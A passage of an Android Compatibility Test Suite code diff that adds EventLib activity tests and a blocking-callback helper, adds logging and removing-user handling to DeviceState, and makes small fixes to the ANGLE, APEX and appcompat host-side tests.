+ ActivityCreatedEvent.logger(mActivity, mSavedInstanceState)
+ .setSimpleName(CUSTOM_ACTIVITY_NAME)
+ .log();
+
+ EventLogs<ActivityCreatedEvent> eventLogs =
+ ActivityCreatedEvent.queryPackage(CONTEXT.getPackageName())
+ .withActivitySimpleName(CUSTOM_ACTIVITY_NAME);
+
+ assertThat(eventLogs.get().simpleName()).isEqualTo(CUSTOM_ACTIVITY_NAME);
+ }
+
+ @Test
+ public void queryName_defaultValue_works() {
+ ActivityCreatedEvent.logger(mActivity, mSavedInstanceState)
+ .log();
+
+ EventLogs<ActivityCreatedEvent> eventLogs =
+ ActivityCreatedEvent.queryPackage(CONTEXT.getPackageName())
+ .withActivityName(DEFAULT_ACTIVITY_NAME);
+
+ assertThat(eventLogs.get().name()).isEqualTo(DEFAULT_ACTIVITY_NAME);
+ }
+
+ @Test
+ public void querySimpleName_defaultValue_works() {
+ ActivityCreatedEvent.logger(mActivity, mSavedInstanceState)
+ .log();
+
+ EventLogs<ActivityCreatedEvent> eventLogs =
+ ActivityCreatedEvent.queryPackage(CONTEXT.getPackageName())
+ .withActivitySimpleName(DEFAULT_ACTIVITY_SIMPLE_NAME);
+
+ assertThat(eventLogs.get().simpleName()).isEqualTo(DEFAULT_ACTIVITY_SIMPLE_NAME);
+ }
+
+ @Test
+ public void queryActivityClass_works() {
+ ActivityCreatedEvent.logger(mActivity, mSavedInstanceState)
+ .log();
+
+ EventLogs<ActivityCreatedEvent> eventLogs =
+ ActivityCreatedEvent.queryPackage(CONTEXT.getPackageName())
+ .withActivityClass(mActivity.getClass());
+
+ assertThat(eventLogs.get()).isNotNull();
+ }
+
+}
diff --git a/common/device-side/eventlib/src/test/java/com/android/eventlib/premade/EventLibActivityTest.java b/common/device-side/eventlib/src/test/java/com/android/eventlib/premade/EventLibActivityTest.java
new file mode 100644
index 0000000..c1f2716
--- /dev/null
+++ b/common/device-side/eventlib/src/test/java/com/android/eventlib/premade/EventLibActivityTest.java
@@ -0,0 +1,80 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.eventlib.premade;
+
+import static android.content.Intent.FLAG_ACTIVITY_CLEAR_TASK;
+import static android.content.Intent.FLAG_ACTIVITY_NEW_TASK;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import android.content.Context;
+import android.content.Intent;
+
+import androidx.test.platform.app.InstrumentationRegistry;
+
+import com.android.eventlib.EventLogs;
+import com.android.eventlib.events.activities.ActivityCreatedEvent;
+
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.junit.runners.JUnit4;
+
+@RunWith(JUnit4.class)
+public class EventLibActivityTest {
+
+ private static final String GENERATED_ACTIVITY_CLASS_NAME
+ = "com.android.generatedEventLibActivity";
+
+ private static final Context CONTEXT =
+ InstrumentationRegistry.getInstrumentation().getContext();
+
+ @Before
+ public void setUp() {
+ EventLogs.resetLogs();
+ }
+
+ @Test
+ public void launchEventLibActivity_logsActivityCreatedEvent() {
+ Intent intent = new Intent();
+ intent.setPackage(CONTEXT.getPackageName());
+ intent.setClassName(CONTEXT.getPackageName(), EventLibActivity.class.getName());
+ intent.setFlags(FLAG_ACTIVITY_NEW_TASK | FLAG_ACTIVITY_CLEAR_TASK);
+ CONTEXT.startActivity(intent);
+
+ EventLogs<ActivityCreatedEvent> eventLogs = ActivityCreatedEvent
+ .queryPackage(CONTEXT.getPackageName())
+ .withActivityClass(EventLibActivity.class);
+
+ assertThat(eventLogs.poll()).isNotNull();
+ }
+
+ @Test
+ public void launchEventLibActivity_withGeneratedActivityClass_logsActivityCreatedEventWithCorrectClassName() {
+ Intent intent = new Intent();
+ intent.setPackage(CONTEXT.getPackageName());
+ intent.setClassName(CONTEXT.getPackageName(), GENERATED_ACTIVITY_CLASS_NAME);
+ intent.setFlags(FLAG_ACTIVITY_NEW_TASK | FLAG_ACTIVITY_CLEAR_TASK);
+ CONTEXT.startActivity(intent);
+
+ EventLogs<ActivityCreatedEvent> eventLogs = ActivityCreatedEvent
+ .queryPackage(CONTEXT.getPackageName())
+ .withActivityName(GENERATED_ACTIVITY_CLASS_NAME);
+
+ assertThat(eventLogs.poll()).isNotNull();
+ }
+}
diff --git a/common/device-side/eventlib/src/test/testapp/Android.bp b/common/device-side/eventlib/src/test/testapp/Android.bp
new file mode 100644
index 0000000..edf5790
--- /dev/null
+++ b/common/device-side/eventlib/src/test/testapp/Android.bp
@@ -0,0 +1,12 @@
+android_test_helper_app {
+ name: "EventLibTestApp",
+ sdk_version: "current",
+ srcs: [
+ "src/main/**/*.java"
+ ],
+ static_libs: [
+ "EventLib"
+ ],
+ manifest: "src/main/AndroidManifest.xml",
+ min_sdk_version: "26"
+}
\ No newline at end of file
diff --git a/common/device-side/eventlib/src/test/testapp/src/main/AndroidManifest.xml b/common/device-side/eventlib/src/test/testapp/src/main/AndroidManifest.xml
new file mode 100644
index 0000000..f915144
--- /dev/null
+++ b/common/device-side/eventlib/src/test/testapp/src/main/AndroidManifest.xml
@@ -0,0 +1,27 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ ~ Copyright (C) 2020 The Android Open Source Project
+ ~
+ ~ Licensed under the Apache License, Version 2.0 (the "License");
+ ~ you may not use this file except in compliance with the License.
+ ~ You may obtain a copy of the License at
+ ~
+ ~ http://www.apache.org/licenses/LICENSE-2.0
+ ~
+ ~ Unless required by applicable law or agreed to in writing, software
+ ~ distributed under the License is distributed on an "AS IS" BASIS,
+ ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ ~ See the License for the specific language governing permissions and
+ ~ limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="com.android.eventlib.tests.testapp">
+ <uses-sdk android:minSdkVersion="26" android:targetSdkVersion="26"/>
+ <application>
+ <activity android:name=".EventLoggingActivity"
+ android:exported="true">
+ </activity>
+ </application>
+</manifest>
+
diff --git a/common/device-side/eventlib/src/test/testapp/src/main/java/com/android/eventlib/tests/testapp/EventLoggingActivity.java b/common/device-side/eventlib/src/test/testapp/src/main/java/com/android/eventlib/tests/testapp/EventLoggingActivity.java
new file mode 100644
index 0000000..63ca5be
--- /dev/null
+++ b/common/device-side/eventlib/src/test/testapp/src/main/java/com/android/eventlib/tests/testapp/EventLoggingActivity.java
@@ -0,0 +1,22 @@
+package com.android.eventlib.tests.testapp;
+
+import android.app.Activity;
+
+import com.android.eventlib.events.CustomEvent;
+
+/**
+ * An {@link Activity} which, when resumed, logs a {@link CustomEvent} with the
+ * passed in tag and data.
+ */
+public class EventLoggingActivity extends Activity {
+
+ @Override
+ protected void onResume() {
+ super.onResume();
+
+ CustomEvent.logger(this)
+ .setTag(getIntent().getStringExtra("TAG"))
+ .setData(getIntent().getStringExtra("DATA"))
+ .log();
+ }
+}
\ No newline at end of file
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/BlockingCallback.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/BlockingCallback.java
new file mode 100644
index 0000000..38fcee7
--- /dev/null
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/BlockingCallback.java
@@ -0,0 +1,74 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.compatibility.common.util;
+
+import static junit.framework.TestCase.fail;
+
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+
+/**
+ * Subclass this to create a blocking version of a callback. For example:
+ *
+ * {@code
+ * private static class KeyChainAliasCallback extends BlockingCallback<String> implements
+ * android.security.KeyChainAliasCallback {
+ * @Override
+ * public void alias(final String chosenAlias) {
+ * callbackTriggered(chosenAlias);
+ * }
+ * }
+ * }
+ *
+ * <p>an instance of KeyChainAliasCallback can then be passed into a method, and the result can
+ * be fetched using {@code .await()};
+ */
+public abstract class BlockingCallback<E> {
+ private static final int DEFAULT_TIMEOUT_SECONDS = 120;
+
+ private final CountDownLatch mLatch = new CountDownLatch(1);
+ private E mValue = null;
+
+ /** Call this method from the callback method to mark the response as received. */
+ protected void callbackTriggered(E value) {
+ mValue = value;
+ mLatch.countDown();
+ }
+
+ /**
+ * Fetch the value passed into the callback.
+ *
+ * <p>Throws an {@link AssertionError} if the callback is not triggered in
+ * {@link #DEFAULT_TIMEOUT_SECONDS} seconds.
+ */
+ public E await() throws InterruptedException {
+ return await(DEFAULT_TIMEOUT_SECONDS, TimeUnit.SECONDS);
+ }
+
+ /**
+ * Fetch the value passed into the callback.
+ *
+ * <p>Throws an {@link AssertionError} if the callback is not triggered before the timeout
+ * elapses.
+ */
+ public E await(long timeout, TimeUnit unit) throws InterruptedException {
+ if (!mLatch.await(timeout, unit)) {
+ fail("Callback was not received");
+ }
+ return mValue;
+ }
+}
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/enterprise/DeviceState.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/enterprise/DeviceState.java
index a686450..404c2dd 100644
--- a/common/device-side/util-axt/src/com/android/compatibility/common/util/enterprise/DeviceState.java
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/enterprise/DeviceState.java
@@ -108,6 +108,8 @@
private Statement applyTest(final Statement base, final Description description) {
return new Statement() {
@Override public void evaluate() throws Throwable {
+ Log.d("DeviceState", "Preparing state for test " + description.getMethodName());
+
assumeFalse(mSkipTestsReason, mSkipTests);
if (description.getAnnotation(RequireRunOnPrimaryUser.class) != null) {
@@ -157,13 +159,17 @@
}
}
+ Log.d("DeviceState", "Finished preparing state for test " + description.getMethodName());
+
try {
base.evaluate();
} finally {
+ Log.d("DeviceState", "Tearing down state for test " + description.getMethodName());
teardownNonShareableState();
if (!mSkipTestTeardown) {
teardownShareableState();
}
+ Log.d("DeviceState", "Finished tearing down state for test " + description.getMethodName());
}
}};
}
@@ -371,13 +377,15 @@
final String type;
final int parent;
final boolean isPrimary;
+ final boolean removing;
final Set<String> flags;
- UserInfo(int id, String type, int parent, boolean isPrimary, Set<String> flags) {
+ UserInfo(int id, String type, int parent, boolean isPrimary, boolean removing, Set<String> flags) {
this.id = id;
this.type = type;
this.parent = parent;
this.isPrimary = isPrimary;
+ this.removing = removing;
this.flags = flags;
}
@@ -392,7 +400,13 @@
private static final Pattern USERS_PARENT_PATTERN = Pattern.compile("parentId=(\\d+)");
private static final Pattern USERS_FLAGS_PATTERN = Pattern.compile("Flags: \\d+ \\((.*)\\)");
+
private Set<UserInfo> listUsers() {
+ return listUsers(/* includeRemoving= */ false);
+ }
+
+
+ private Set<UserInfo> listUsers(boolean includeRemoving) {
String command = "dumpsys user";
String commandOutput = runCommandWithOutput(command);
@@ -437,12 +451,17 @@
if (!userFlagsMatcher.find()) {
throw new IllegalStateException("Bad dumpsys user output: " + commandOutput);
}
+ boolean removing = userString.contains("<removing>");
+
Set<String> flagNames = new HashSet<>();
for (String flag : userFlagsMatcher.group(1).split("\\|")) {
flagNames.add(flag);
}
- listUsers.add(new UserInfo(userId, userType, userParent, isPrimary, flagNames));
+ if (!removing || includeRemoving) {
+ listUsers.add(
+ new UserInfo(userId, userType, userParent, isPrimary, removing, flagNames));
+ }
}
return listUsers;
@@ -455,11 +474,15 @@
if (getWorkProfileId(forUser) == null) {
createWorkProfile(resolveUserTypeToUserId(forUser));
}
+ int workProfileId = getWorkProfileId(forUser);
+
+ // TODO(scottjonathan): Can make this quicker by checking if we're already running
+ runCommandWithOutput("am start-user -w " + workProfileId);
if (installTestApp) {
- installInProfile(getWorkProfileId(forUser),
+ installInProfile(workProfileId,
sInstrumentation.getContext().getPackageName());
} else {
- uninstallFromProfile(getWorkProfileId(forUser),
+ uninstallFromProfile(workProfileId,
sInstrumentation.getContext().getPackageName());
}
}
@@ -551,7 +574,6 @@
runCommandWithOutput(
"pm create-user --profileOf " + parentUserId + " --managed work");
final int profileId = Integer.parseInt(createUserOutput.split(" id ")[1].trim());
- runCommandWithOutput("am start-user -w " + profileId);
createdUserIds.add(profileId);
}
@@ -589,13 +611,17 @@
InputStream inputStream = new FileInputStream(p.getFileDescriptor());
try (Scanner scanner = new Scanner(inputStream, UTF_8.name())) {
- return scanner.useDelimiter("\\A").next();
+ String s = scanner.useDelimiter("\\A").next();
+ Log.d("DeviceState", "Running command " + command + " got output: " + s);
+ return s;
} catch (NoSuchElementException e) {
+ Log.d("DeviceState", "Running command " + command + " with no output", e);
return "";
}
}
private ParcelFileDescriptor runCommand(String command) {
+ Log.d("DeviceState", "Running command " + command);
return getAutomation()
.executeShellCommand(command);
}
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/mainline/MainlineModule.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/mainline/MainlineModule.java
index fb18b06..1964f64 100644
--- a/common/device-side/util-axt/src/com/android/compatibility/common/util/mainline/MainlineModule.java
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/mainline/MainlineModule.java
@@ -124,6 +124,10 @@
false, ModuleType.APEX,
"B7:A3:DB:7A:86:6D:18:51:3F:97:6C:63:20:BC:0F:E6:E4:01:BA:2F:26:96:B1:C3:94:2A:F0"
+ ":FE:29:31:98:B1"),
+ TZDATA3("com.google.android.tzdata3",
+ true, ModuleType.APEX,
+ "58:8B:C4:EE:04:1F:47:FA:49:01:8F:66:D2:2E:18:16:35:A5:E3:47:15:2C:06:88:D9:F0:47"
+ + ":B5:9D:66:19:57"),
;
public final String packageName;
diff --git a/hostsidetests/angle/src/android/angle/cts/CtsAngleCommon.java b/hostsidetests/angle/src/android/angle/cts/CtsAngleCommon.java
index 9bb55fa..45bb43e 100644
--- a/hostsidetests/angle/src/android/angle/cts/CtsAngleCommon.java
+++ b/hostsidetests/angle/src/android/angle/cts/CtsAngleCommon.java
@@ -110,6 +110,12 @@
return (angleSupported != null) && (angleSupported.equals("true"));
}
+ static boolean isNativeDriverAngle(ITestDevice device) throws Exception {
+ String driverProp = device.getProperty("ro.hardware.egl");
+
+ return (driverProp != null) && (driverProp.equals("angle"));
+ }
+
static void startActivity(ITestDevice device, String action) throws Exception {
// Run the ANGLE activity so it'll clear up any 'default' settings.
device.executeShellCommand("am start --user " + device.getCurrentUser() +
diff --git a/hostsidetests/angle/src/android/angle/cts/CtsAngleDeveloperOptionHostTest.java b/hostsidetests/angle/src/android/angle/cts/CtsAngleDeveloperOptionHostTest.java
index b63dd99..9431088 100644
--- a/hostsidetests/angle/src/android/angle/cts/CtsAngleDeveloperOptionHostTest.java
+++ b/hostsidetests/angle/src/android/angle/cts/CtsAngleDeveloperOptionHostTest.java
@@ -127,6 +127,7 @@
@Test
public void testUseDefaultDriver() throws Exception {
Assume.assumeTrue(isAngleLoadable(getDevice()));
+ Assume.assumeFalse(isNativeDriverAngle(getDevice()));
installApp(ANGLE_DRIVER_TEST_APP);
@@ -144,6 +145,7 @@
@Test
public void testUseAngleDriver() throws Exception {
Assume.assumeTrue(isAngleLoadable(getDevice()));
+ Assume.assumeFalse(isNativeDriverAngle(getDevice()));
installApp(ANGLE_DRIVER_TEST_APP);
@@ -161,6 +163,7 @@
@Test
public void testUseNativeDriver() throws Exception {
Assume.assumeTrue(isAngleLoadable(getDevice()));
+ Assume.assumeFalse(isNativeDriverAngle(getDevice()));
installApp(ANGLE_DRIVER_TEST_APP);
@@ -178,6 +181,7 @@
@Test
public void testSettingsLengthMismatch() throws Exception {
Assume.assumeTrue(isAngleLoadable(getDevice()));
+ Assume.assumeFalse(isNativeDriverAngle(getDevice()));
installApp(ANGLE_DRIVER_TEST_APP);
installApp(ANGLE_DRIVER_TEST_SEC_APP);
@@ -201,6 +205,7 @@
@Test
public void testUseInvalidDriver() throws Exception {
Assume.assumeTrue(isAngleLoadable(getDevice()));
+ Assume.assumeFalse(isNativeDriverAngle(getDevice()));
installApp(ANGLE_DRIVER_TEST_APP);
@@ -217,6 +222,7 @@
@Test
public void testUpdateDriverValues() throws Exception {
Assume.assumeTrue(isAngleLoadable(getDevice()));
+ Assume.assumeFalse(isNativeDriverAngle(getDevice()));
installApp(ANGLE_DRIVER_TEST_APP);
@@ -239,6 +245,7 @@
@Test
public void testMultipleDevOptionsAngleNative() throws Exception {
Assume.assumeTrue(isAngleLoadable(getDevice()));
+ Assume.assumeFalse(isNativeDriverAngle(getDevice()));
installApp(ANGLE_DRIVER_TEST_APP);
installApp(ANGLE_DRIVER_TEST_SEC_APP);
@@ -263,6 +270,7 @@
@Test
public void testMultipleUpdateDriverValues() throws Exception {
Assume.assumeTrue(isAngleLoadable(getDevice()));
+ Assume.assumeFalse(isNativeDriverAngle(getDevice()));
installApp(ANGLE_DRIVER_TEST_APP);
installApp(ANGLE_DRIVER_TEST_SEC_APP);
@@ -450,6 +458,7 @@
@Test
public void testAngleInUseDialogBoxWithAngle() throws Exception {
Assume.assumeTrue(isAngleLoadable(getDevice()));
+ Assume.assumeFalse(isNativeDriverAngle(getDevice()));
setGlobalSetting(getDevice(), SETTINGS_GLOBAL_ANGLE_IN_USE_DIALOG_BOX, "1");
@@ -465,6 +474,7 @@
@Test
public void testAngleInUseDialogBoxWithNative() throws Exception {
Assume.assumeTrue(isAngleLoadable(getDevice()));
+ Assume.assumeFalse(isNativeDriverAngle(getDevice()));
setGlobalSetting(getDevice(), SETTINGS_GLOBAL_ANGLE_IN_USE_DIALOG_BOX, "1");
diff --git a/hostsidetests/angle/src/android/angle/cts/CtsAngleRulesFileTest.java b/hostsidetests/angle/src/android/angle/cts/CtsAngleRulesFileTest.java
index 326cb7a..4f0859e 100644
--- a/hostsidetests/angle/src/android/angle/cts/CtsAngleRulesFileTest.java
+++ b/hostsidetests/angle/src/android/angle/cts/CtsAngleRulesFileTest.java
@@ -97,6 +97,7 @@
@Test
public void testEmptyRulesFile() throws Exception {
Assume.assumeTrue(isAngleLoadable(getDevice()));
+ Assume.assumeFalse(isNativeDriverAngle(getDevice()));
pushRulesFile(RULES_FILE_EMPTY);
@@ -113,6 +114,7 @@
@Test
public void testEnableAngleRulesFile() throws Exception {
Assume.assumeTrue(isAngleLoadable(getDevice()));
+ Assume.assumeFalse(isNativeDriverAngle(getDevice()));
pushRulesFile(RULES_FILE_ENABLE_ANGLE);
diff --git a/hostsidetests/apex/src/android/apex/cts/ApexTest.java b/hostsidetests/apex/src/android/apex/cts/ApexTest.java
index 5ccdaf3..6652ef02 100644
--- a/hostsidetests/apex/src/android/apex/cts/ApexTest.java
+++ b/hostsidetests/apex/src/android/apex/cts/ApexTest.java
@@ -36,16 +36,17 @@
private boolean isGSI() throws Exception {
String systemProduct = getDevice().getProperty("ro.product.system_ext.name");
- return systemProduct.equals("aosp_arm")
- || systemProduct.equals("aosp_arm64")
- || systemProduct.equals("aosp_x86")
- || systemProduct.equals("aosp_x86_64")
- || systemProduct.equals("aosp_arm_ab") // _ab for Legacy GSI
- || systemProduct.equals("aosp_arm64_ab")
- || systemProduct.equals("aosp_x86_ab")
- || systemProduct.equals("aosp_x86_64_ab")
- || systemProduct.equals("aosp_tv_arm")
- || systemProduct.equals("aosp_tv_arm64");
+ return (null != systemProduct)
+ && (systemProduct.equals("aosp_arm")
+ || systemProduct.equals("aosp_arm64")
+ || systemProduct.equals("aosp_x86")
+ || systemProduct.equals("aosp_x86_64")
+ || systemProduct.equals("aosp_arm_ab") // _ab for Legacy GSI
+ || systemProduct.equals("aosp_arm64_ab")
+ || systemProduct.equals("aosp_x86_ab")
+ || systemProduct.equals("aosp_x86_64_ab")
+ || systemProduct.equals("aosp_tv_arm")
+ || systemProduct.equals("aosp_tv_arm64"));
}
/**
diff --git a/hostsidetests/appcompat/compatchanges/Android.bp b/hostsidetests/appcompat/compatchanges/Android.bp
index e0c389e..0e578ee 100644
--- a/hostsidetests/appcompat/compatchanges/Android.bp
+++ b/hostsidetests/appcompat/compatchanges/Android.bp
@@ -21,7 +21,9 @@
"tradefed",
"guava",
],
- static_libs:["CompatChangeGatingTestBase"],
+ static_libs:[
+ "CompatChangeGatingTestBase",
+ ],
// tag this module as a cts test artifact
test_suites: [
"cts",
diff --git a/hostsidetests/appcompat/compatchanges/app/AndroidManifest.xml b/hostsidetests/appcompat/compatchanges/app/AndroidManifest.xml
index 28b33d2..21b7e93 100644
--- a/hostsidetests/appcompat/compatchanges/app/AndroidManifest.xml
+++ b/hostsidetests/appcompat/compatchanges/app/AndroidManifest.xml
@@ -15,7 +15,7 @@
-->
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
- package="com.android.cts.appcompat">
+ package="com.android.cts.appcompat.compatchanges">
<!-- targetSdkVersion for this test must be below 1234 -->
<uses-sdk android:targetSdkVersion="29"/>
<application
@@ -25,6 +25,6 @@
<instrumentation
android:name="androidx.test.runner.AndroidJUnitRunner"
- android:targetPackage="com.android.cts.appcompat" />
+ android:targetPackage="com.android.cts.appcompat.compatchanges" />
</manifest>
diff --git a/hostsidetests/appcompat/compatchanges/app/src/com/android/cts/appcompat/CompatChangesTest.java b/hostsidetests/appcompat/compatchanges/app/src/com/android/cts/appcompat/CompatChangesTest.java
deleted file mode 100644
index 7025a96..0000000
--- a/hostsidetests/appcompat/compatchanges/app/src/com/android/cts/appcompat/CompatChangesTest.java
+++ /dev/null
@@ -1,98 +0,0 @@
-/*
- * Copyright (C) 2020 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.cts.appcompat;
-
-import static com.google.common.truth.Truth.assertThat;
-
-import android.Manifest;
-import android.app.compat.CompatChanges;
-import android.content.Context;
-import android.os.Process;
-
-import androidx.test.InstrumentationRegistry;
-import androidx.test.runner.AndroidJUnit4;
-
-import org.junit.After;
-import org.junit.Before;
-import org.junit.Test;
-import org.junit.runner.RunWith;
-import org.junit.runners.JUnit4;
-
-/**
- * Tests for the {@link android.app.compat.CompatChanges} SystemApi.
- *
- * These test methods have additional setup and post run checks done host side by
- * {@link com.android.cts.appcompat.CompatChangesSystemApiTest}.
- *
- * The setup adds an override for the change id being tested, and the post run step checks if
- * that change id has been logged to statsd.
- */
-@RunWith(AndroidJUnit4.class)
-public final class CompatChangesTest {
- private static final long CTS_SYSTEM_API_CHANGEID = 149391281;
- @Before
- public void setUp() {
- InstrumentationRegistry.getInstrumentation().getUiAutomation()
- .adoptShellPermissionIdentity(Manifest.permission.LOG_COMPAT_CHANGE,
- Manifest.permission.READ_COMPAT_CHANGE_CONFIG);
- }
-
- @After
- public void tearDown() {
- InstrumentationRegistry.getInstrumentation().getUiAutomation().dropShellPermissionIdentity();
- }
-
- /* Test run by CompatChangesSystemApiTest.testIsChangeEnabled */
- @Test
- public void isChangeEnabled_changeEnabled() {
- assertThat(CompatChanges.isChangeEnabled(CTS_SYSTEM_API_CHANGEID)).isTrue();
- }
-
- /* Test run by CompatChangesSystemApiTest.testIsChangeEnabledPackageName */
- @Test
- public void isChangeEnabledPackageName_changeEnabled() {
- Context context = InstrumentationRegistry.getTargetContext();
- assertThat(CompatChanges.isChangeEnabled(CTS_SYSTEM_API_CHANGEID, context.getPackageName(),
- context.getUser())).isTrue();
- }
-
- /* Test run by CompatChangesSystemApiTest.testIsChangeEnabledUid */
- @Test
- public void isChangeEnabledUid_changeEnabled() {
- assertThat(CompatChanges.isChangeEnabled(CTS_SYSTEM_API_CHANGEID, Process.myUid())).isTrue();
- }
-
- /* Test run by CompatChangesSystemApiTest.testIsChangeDisabled */
- @Test
- public void isChangeEnabled_changeDisabled() {
- assertThat(CompatChanges.isChangeEnabled(CTS_SYSTEM_API_CHANGEID)).isFalse();
- }
-
- /* Test run by CompatChangesSystemApiTest.testIsChangeDisabledPackageName */
- @Test
- public void isChangeEnabledPackageName_changeDisabled() {
- Context context = InstrumentationRegistry.getTargetContext();
- assertThat(CompatChanges.isChangeEnabled(CTS_SYSTEM_API_CHANGEID, context.getPackageName(),
- context.getUser())).isFalse();
- }
-
- /* Test run by CompatChangesSystemApiTest.testIsChangeDisabledUid */
- @Test
- public void isChangeEnabledUid_changeDisabled() {
- assertThat(CompatChanges.isChangeEnabled(CTS_SYSTEM_API_CHANGEID, Process.myUid())).isFalse();
- }
-}
diff --git a/hostsidetests/appcompat/compatchanges/app/src/com/android/cts/appcompat/compatchanges/CompatChangesTest.java b/hostsidetests/appcompat/compatchanges/app/src/com/android/cts/appcompat/compatchanges/CompatChangesTest.java
new file mode 100644
index 0000000..27cef40
--- /dev/null
+++ b/hostsidetests/appcompat/compatchanges/app/src/com/android/cts/appcompat/compatchanges/CompatChangesTest.java
@@ -0,0 +1,98 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.appcompat.compatchanges;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import android.Manifest;
+import android.app.compat.CompatChanges;
+import android.content.Context;
+import android.os.Process;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.junit.runners.JUnit4;
+
+/**
+ * Tests for the {@link android.app.compat.CompatChanges} SystemApi.
+ *
+ * These test methods have additional setup and post run checks done host side by
+ * {@link com.android.cts.appcompat.CompatChangesSystemApiTest}.
+ *
+ * The setup adds an override for the change id being tested, and the post run step checks if
+ * that change id has been logged to statsd.
+ */
+@RunWith(AndroidJUnit4.class)
+public final class CompatChangesTest {
+ private static final long CTS_SYSTEM_API_CHANGEID = 149391281;
+ @Before
+ public void setUp() {
+ InstrumentationRegistry.getInstrumentation().getUiAutomation()
+ .adoptShellPermissionIdentity(Manifest.permission.LOG_COMPAT_CHANGE,
+ Manifest.permission.READ_COMPAT_CHANGE_CONFIG);
+ }
+
+ @After
+ public void tearDown() {
+ InstrumentationRegistry.getInstrumentation().getUiAutomation().dropShellPermissionIdentity();
+ }
+
+ /* Test run by CompatChangesSystemApiTest.testIsChangeEnabled */
+ @Test
+ public void isChangeEnabled_changeEnabled() {
+ assertThat(CompatChanges.isChangeEnabled(CTS_SYSTEM_API_CHANGEID)).isTrue();
+ }
+
+ /* Test run by CompatChangesSystemApiTest.testIsChangeEnabledPackageName */
+ @Test
+ public void isChangeEnabledPackageName_changeEnabled() {
+ Context context = InstrumentationRegistry.getTargetContext();
+ assertThat(CompatChanges.isChangeEnabled(CTS_SYSTEM_API_CHANGEID, context.getPackageName(),
+ context.getUser())).isTrue();
+ }
+
+ /* Test run by CompatChangesSystemApiTest.testIsChangeEnabledUid */
+ @Test
+ public void isChangeEnabledUid_changeEnabled() {
+ assertThat(CompatChanges.isChangeEnabled(CTS_SYSTEM_API_CHANGEID, Process.myUid())).isTrue();
+ }
+
+ /* Test run by CompatChangesSystemApiTest.testIsChangeDisabled */
+ @Test
+ public void isChangeEnabled_changeDisabled() {
+ assertThat(CompatChanges.isChangeEnabled(CTS_SYSTEM_API_CHANGEID)).isFalse();
+ }
+
+ /* Test run by CompatChangesSystemApiTest.testIsChangeDisabledPackageName */
+ @Test
+ public void isChangeEnabledPackageName_changeDisabled() {
+ Context context = InstrumentationRegistry.getTargetContext();
+ assertThat(CompatChanges.isChangeEnabled(CTS_SYSTEM_API_CHANGEID, context.getPackageName(),
+ context.getUser())).isFalse();
+ }
+
+ /* Test run by CompatChangesSystemApiTest.testIsChangeDisabledUid */
+ @Test
+ public void isChangeEnabledUid_changeDisabled() {
+ assertThat(CompatChanges.isChangeEnabled(CTS_SYSTEM_API_CHANGEID, Process.myUid())).isFalse();
+ }
+}
diff --git a/hostsidetests/appcompat/compatchanges/preInstallOverrideApps/Android.bp b/hostsidetests/appcompat/compatchanges/preInstallOverrideApps/Android.bp
new file mode 100644
index 0000000..d0bdf36
--- /dev/null
+++ b/hostsidetests/appcompat/compatchanges/preInstallOverrideApps/Android.bp
@@ -0,0 +1,77 @@
+//
+// Copyright (C) 2020 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+// http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
